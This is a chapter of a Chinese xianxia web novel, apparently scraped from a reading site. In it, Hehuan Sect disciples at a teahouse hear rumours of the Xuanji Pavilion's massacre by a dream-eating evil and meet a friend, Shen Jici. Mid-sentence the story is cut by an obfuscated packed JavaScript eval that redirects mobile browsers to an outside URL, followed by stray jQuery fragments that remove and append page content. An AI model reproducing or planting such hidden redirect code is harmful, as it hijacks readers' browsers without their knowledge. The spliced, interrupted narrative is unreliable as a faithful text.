凤鸣山脚下,驿道旁支着个简陋茶寮。

    时值午后,天气燥热。三三两两的修士与行商在此歇脚,粗陶碗里的劣茶蒸腾起热气。

    两道人影自驿道尽头缓步而来。

    走在前面的青年一袭月白窄袖道袍,腰束同色云纹锦带。他生得极为俊朗,眸光清正沉稳,步履间自有股不疾不徐的气度。此人,正是合欢宗幸云止。

    落后他半步的少年,着同样式样道袍,一双杏眼灵动有神,此刻正滴溜溜转着,满是好奇。乃是幸景行,幸云止的师弟。

    二人踏入茶寮,寻了张靠边的空桌坐下。

    幸景行抬手用袖子擦了擦额角的薄汗。

    幸云止指尖微动,一丝几不可察的气息掠过桌面,拂去了尘埃。

    邻桌修士的谈话声飘了过来。

    “玄机阁那事,你们听说了吗?真他娘的邪门!”一名长相粗犷的修士灌了口茶,粗着嗓子道。

    “何止听说!”另一人立刻接上,声音压得更低,“两百二十七口人命,上至修为精进的玄机阁主,下至刚入门的小童,一个都没跑掉。可奇就奇在,所有人死的时候,面容安详得诡异,像睡着了一样。浑身上下半点伤口都没有,经脉完好,丹田未损,识海空空如也?”

    茶寮里静了一瞬,二人的话莫名让人心头发紧。

    “不止如此,”那人喉结滚动,眼底明晃晃有恐惧,“听闻,他们每个人脸上都带着笑。是那种……满足得不得了,像是做了最美梦般的笑容,可人早就凉透了。”

    “啧!”四周响起一片压抑的抽气声。有人下意识地摸了摸自己的脸。

    幸景行手里的茶碗轻微地晃了晃。

    幸云止宽大的袍袖下,手已先一步探出,按住了他的手腕,示意他稍安勿躁。

    “更邪门的还在后头,”一名修士续道,“玄机阁护山大阵完好无损,没有任何被外力强行攻破的痕迹。可那护山数百年的神兽,也跟着一块去了。”

    “这、这难不成是阁中自己人练功走火入魔,全部……疯了?”

    “我看不像。倒像是……被什么东西,从里到外,悄无声息地,把魂儿给抽走了。”

    这话像一阵阴风吹过,更让人心底发毛。几个行商打扮的已经开始偷偷收拾包袱。

    “还有,”那人似乎想起了什么,补充道,“玄机阁至宝玄心镜,不见了。供奉镜子的禁地没有丝毫被闯入的痕迹,连门上的符咒都完好,可镜子就是没了。”

    “此前便听闻秽灵作祟,玄机阁还遣弟子上合欢宗求救。可是秽灵所为?”开口之人抱着一丝侥幸不确定道。

    “不像,秽灵噬欲,死状凄惨,哪会这般……”他没能说下去,似乎找不到合适的词形容那种安详。

    一直沉默的年长修士忽然沉声开口,声音:“是蚀梦。”

    众人齐刷刷看向他。

    “这位道兄,若是知道什么,不防直言。”

    那人慢条斯理地抿了口茶,才缓缓道:“《异闻录》残卷有载,上古有邪物,名蚀梦。以生灵梦境为巢,以执念妄念为食。入梦时,以美梦诱其沉溺。食尽时,连魂带梦,一并吞没,徒留躯体,含笑而终。”

    他抬头,目光扫过众人:“此物最喜修为深厚、道心坚定者,因执念更纯,妄念更浓。玄机阁修清心道,门人执念单一,正是上佳饵食。”

    幸景行倒抽一口凉气:“那、那咱们合欢宗……”

    那人扯了扯嘴角,露出个比哭还难看的笑:“合欢宗?以情入道,七情六欲更盛,心念纷杂,只怕是更容易着了道。不过,贵派子弟修为精进,贵掌门更是修为通天,道行深不可测,倒也不必过于忧虑。”

    这话听着像安慰,也是事实,却又隐约听着哪里不对劲。

    正说着,茶寮外忽有清风徐来,又走进一人。

    来人约二十出头,一袭天青色广袖长袍。他生得极好,面如冠玉,眼若桃花,唇角天生微扬,自带三分风流笑意。手中一柄白玉骨扇轻摇,端的是翩翩公子,倜傥无双。

    他一进来,仿佛将外头灼目的阳光也带进了几分,茶寮都亮堂了不少。几道女修目光悄悄粘在他身上,又迅速移开。

    那人目光随意一扫,落在幸云止二人身上,桃花眼一亮,笑意真切了几分,笑着走了过来。

    “云止兄!景行小弟!真巧,竟在此处遇见。”

    来人正是凌虚宗掌门沈清玄独子,沈霁辞。凌虚宗乃正道名门,与合欢宗素有往来。

    沈霁辞熟稔地在他们这桌坐下,很自然地拿过幸景行面前的茶壶,给自己也倒了一碗,压低声音道:“除了蚀梦之说,我还从家父的藏书中看到点别的记载,另外听说,玄机阁山门之上,那整块浑然一体的玄天玉石门楣上,被人用血画了个眼睛图案。血早已干涸发黑,可每个见到那图案的人,都说觉得那眼睛在盯着自己看,无论从哪个角度,看得人魂魄发冷,修为低些的,当场就神识恍惚。”

    幸景行脸色发白,打了个寒噤。

    幸云止的眉头则微微蹙起。

    沈霁辞继续道:“更怪的是,玄机阁藏书楼里,所有关于梦境、神魂、心魔的典籍,连同一些记载上古秘辛的杂书,一夜之间不翼而飞。可值钱的功法秘籍、法宝丹药,却一样没少,整整齐齐摆在原处。”

    “凶手在找什么?还是……在掩盖什么?”幸景行疑惑,下意识地看向师兄。

    沈霁辞摇头:“毫无头绪。倒是有个云游的老修士说那是天眼。人在做,天在看,看人心里最深的梦,最盛的念,然后……待成熟,便收走。”他说着,用扇子虚虚一点自己心口。

    茶寮里一时无人说话。

    “说起来,前阵子我亦听闻了件怪事。”沈霁辞摇着扇子,眼神却没什么笑意,“有个小宗门,一夜间死了十几个弟子,死状倒不像玄机阁这么安详,是浑身精血被吸干,变成干尸了。听幸存的弟子说,死前都嚷嚷着看见美人、法宝、或是心心念念的仇人……幻象逼真,拉都拉不回来。”

    沈霁辞与幸云止目光在空中轻轻一碰,对视一眼。

    “蚀梦食魂,秽灵噬欲。”幸云止指节轻轻叩击桌面,缓缓道,“这两者,一内一外,一隐一显,恐怕并非孤立。”

    一直安静听着的幸景行突然“啊”了一声:“说到秽灵,近来,宗门外围的村镇,作祟的秽灵频出,而且一次比一次厉害,惑人心智,食人精魄,最后还是几名长老,结净灵阵,费了九牛二虎之力,才将其彻底炼化。可长老们回来说,那秽灵核心处,有类似梦魇的波动。”

    沈霁辞扇子“啪”地一合,轻敲掌心:“看来这东西,比传闻中更难对付。而且……似乎越来越多了?”

    幸云止颔首:“师尊离山前,曾言宗门地界秽灵滋生之频繁,百年未见。戒律堂已加派巡守,外事堂也在大量采购清心静神的药材与灵石。只是……”

    他没再说下去,只是如今掌门师尊不知所踪,他曾尝试传音符联络,却丝毫未得动静。

    也正因此,戒律堂长老才遣三人下山,一为探查玄机阁一事,二为寻找掌门师尊。不过,此事断不能走漏风

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528055|203604||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    声。

    当今,仙门之中以五家为首,东方岳溟,南方合欢,西方离焰,北方沧澜,各镇一方。中间则以凌虚宗为首,平衡四宗。

    此外,仙门之中亦有诸多中小门派。其中,素问谷以济世炼丹闻名,万宝阁则专司炼器、通贾天下。至于玄机阁,曾珍藏数百载仙门典籍,却一夜之间被灭门。

    幸云止心下一沉,暗道不好。玄机阁之祸,怕仅是开端。山雨欲来,还须得尽快想办法同掌门师尊取得联系才是。

    沈霁辞开口接道:“只是杯水车薪,且治标不治本。秽灵源头何在?为何突然泛滥?与玄机阁的蚀梦又有无关联?”

    他苦笑,那风流笑意淡去,“这趟浑水,看来比想象中深。”

    此时,先前搭话之人迟疑着打量幸云止和幸景行二人服饰,拱手道:“二位道友,可是合欢宗子弟?”

    幸云止起身还礼:“正是。在下幸云止,这是师弟幸景行。奉家师之命,前来查看玄机阁之事。”

    沈霁辞看向幸云止,扇骨在掌心轻敲两下:“云止兄,不如结伴上山,彼此有个照应?这凤鸣山,如今看着可不太平。”

    “正有此意。”幸云止点头。

    幸景行却探头往官道上看:“大师兄去了这么久,怎么还没来?”语气有些焦急。

    幸云止淡淡道:“师兄自有要事,稍后自会赶来。我们且先上山看看。”

    “要事?”沈霁辞挑眉,似随口问,“可是为贵宗那位……半月前不幸香消玉殒的苏姑娘?”

    幸云止神色不变,只几不可察地点了点头。

    沈霁辞叹了口气,脸上露出几分恰到好处的惋惜:“苏姑娘的事,我也听说了。真是……红颜薄命。幸兄想必伤心得很。”他语气诚挚,带着些许试探。

    一名修士听到,忍不住插话:“道友说的是合欢宗首徒幸奕辰道友那位未婚妻?苏家嫡女?说是苏姑娘不满婚事,与人私奔,结果半道遇了歹人,香消玉殒了!啧啧,好好一个大家小姐,怎的如此想不开……”他边说边摇头,颇有几分市井议论的轻慢。

    另一修士也凑过来:“还有苏府下人作证,说亲眼看见苏小姐半夜与陌生男子私会,举止亲密!这……这未出阁的姑娘,也太不自重了些。”

    幸景行听得皱眉,腾地站起半身,想说什么,被幸云止一个温和的眼神止住。

    一直沉默的幸云止忽然冷冷开口:“人已死了,何必再说这些。是是非非,谁又说得清。”

    他目光扫过那两名修士,平淡无波,却让他们心头一凛,讪讪闭了嘴。

    那名修士脸上涨红,讪讪闭了嘴。

    沈霁辞摇扇的手顿了顿,笑了笑,不再接话。眼神却若有所思地飘向茶寮外。

    说话间,一道贴着沈霁辞袖口的灵符忽然隐隐闪光,发出轻微的蜂鸣。

    沈霁辞神色一凝,捏住灵符,脸色微变,起身对幸云止二人正色道:“门中有急讯,家父亲自传召,让我速回。玄机阁之事,恐怕要拜托二位先探了。”

    沈霁辞走了两步,又回头,桃花眼里没了笑意,只余凝重:“云止兄,景行小弟,多加小心。若是事不可为,切勿勉强,速回合欢宗。我总觉得……这凤鸣山上,除了死人,不止有死人,或许还有别的东西,在等着活人。”

    幸景行嘟囔道:“怎么说走就走……大师兄也没来,沈大哥也走了,就剩咱俩……”他瞥了一眼阴森的山道,声音低了下去。

    话音未落,一道身影愈近,幸奕辰恰御剑而至,衣袂翩然,落在茶寮前,剑光收敛。